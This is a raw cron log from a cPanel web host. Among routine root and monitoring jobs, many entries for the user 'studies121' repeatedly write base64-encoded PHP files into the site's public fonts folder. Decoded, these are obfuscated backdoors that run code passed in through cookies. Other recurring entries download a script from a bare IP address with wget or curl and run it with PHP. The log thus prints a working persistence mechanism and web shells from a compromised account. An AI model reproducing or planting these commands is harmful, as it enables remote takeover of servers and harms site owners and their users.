Sep  8 22:07:01 ip-184-168-122-23 CROND[31557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:08:01 ip-184-168-122-23 CROND[31651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:08:01 ip-184-168-122-23 CROND[31654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:08:01 ip-184-168-122-23 CROND[31655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:08:01 ip-184-168-122-23 CROND[31657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:08:01 ip-184-168-122-23 CROND[31660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:09:02 ip-184-168-122-23 CROND[31752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:09:02 ip-184-168-122-23 CROND[31755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:09:02 ip-184-168-122-23 CROND[31754]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 22:09:02 ip-184-168-122-23 CROND[31756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:09:02 ip-184-168-122-23 CROND[31757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:10:01 ip-184-168-122-23 CROND[31862]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 22:10:02 ip-184-168-122-23 CROND[31864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:10:02 ip-184-168-122-23 CROND[31865]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:10:02 ip-184-168-122-23 CROND[31867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:10:02 ip-184-168-122-23 CROND[31868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:10:02 ip-184-168-122-23 CROND[31869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:10:02 ip-184-168-122-23 CROND[31873]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:10:02 ip-184-168-122-23 CROND[31870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:11:01 ip-184-168-122-23 CROND[31976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:11:01 ip-184-168-122-23 CROND[31979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:11:01 ip-184-168-122-23 CROND[31977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:11:01 ip-184-168-122-23 CROND[31978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:12:01 ip-184-168-122-23 CROND[32143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:12:01 ip-184-168-122-23 CROND[32145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:12:01 ip-184-168-122-23 CROND[32146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:12:01 ip-184-168-122-23 CROND[32148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:12:01 ip-184-168-122-23 CROND[32147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:13:01 ip-184-168-122-23 CROND[32231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:13:01 ip-184-168-122-23 CROND[32234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:13:01 ip-184-168-122-23 CROND[32232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:13:01 ip-184-168-122-23 CROND[32233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:14:01 ip-184-168-122-23 CROND[32311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:14:01 ip-184-168-122-23 CROND[32313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:14:01 ip-184-168-122-23 CROND[32314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:14:01 ip-184-168-122-23 CROND[32316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:14:01 ip-184-168-122-23 CROND[32315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:15:01 ip-184-168-122-23 CROND[32421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:15:01 ip-184-168-122-23 CROND[32423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:15:01 ip-184-168-122-23 CROND[32424]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 22:15:01 ip-184-168-122-23 CROND[32425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:15:01 ip-184-168-122-23 CROND[32426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:15:01 ip-184-168-122-23 CROND[32427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:15:01 ip-184-168-122-23 CROND[32428]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:16:01 ip-184-168-122-23 CROND[32521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:16:01 ip-184-168-122-23 CROND[32523]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 22:16:01 ip-184-168-122-23 CROND[32524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:16:01 ip-184-168-122-23 CROND[32525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:16:01 ip-184-168-122-23 CROND[32528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:16:01 ip-184-168-122-23 CROND[32529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:17:01 ip-184-168-122-23 CROND[32617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:17:01 ip-184-168-122-23 CROND[32619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:17:01 ip-184-168-122-23 CROND[32621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:17:01 ip-184-168-122-23 CROND[32620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:18:01 ip-184-168-122-23 CROND[334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:18:01 ip-184-168-122-23 CROND[336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:18:01 ip-184-168-122-23 CROND[337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:18:01 ip-184-168-122-23 CROND[338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:18:01 ip-184-168-122-23 CROND[340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:19:01 ip-184-168-122-23 CROND[427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:19:01 ip-184-168-122-23 CROND[428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:19:01 ip-184-168-122-23 CROND[431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
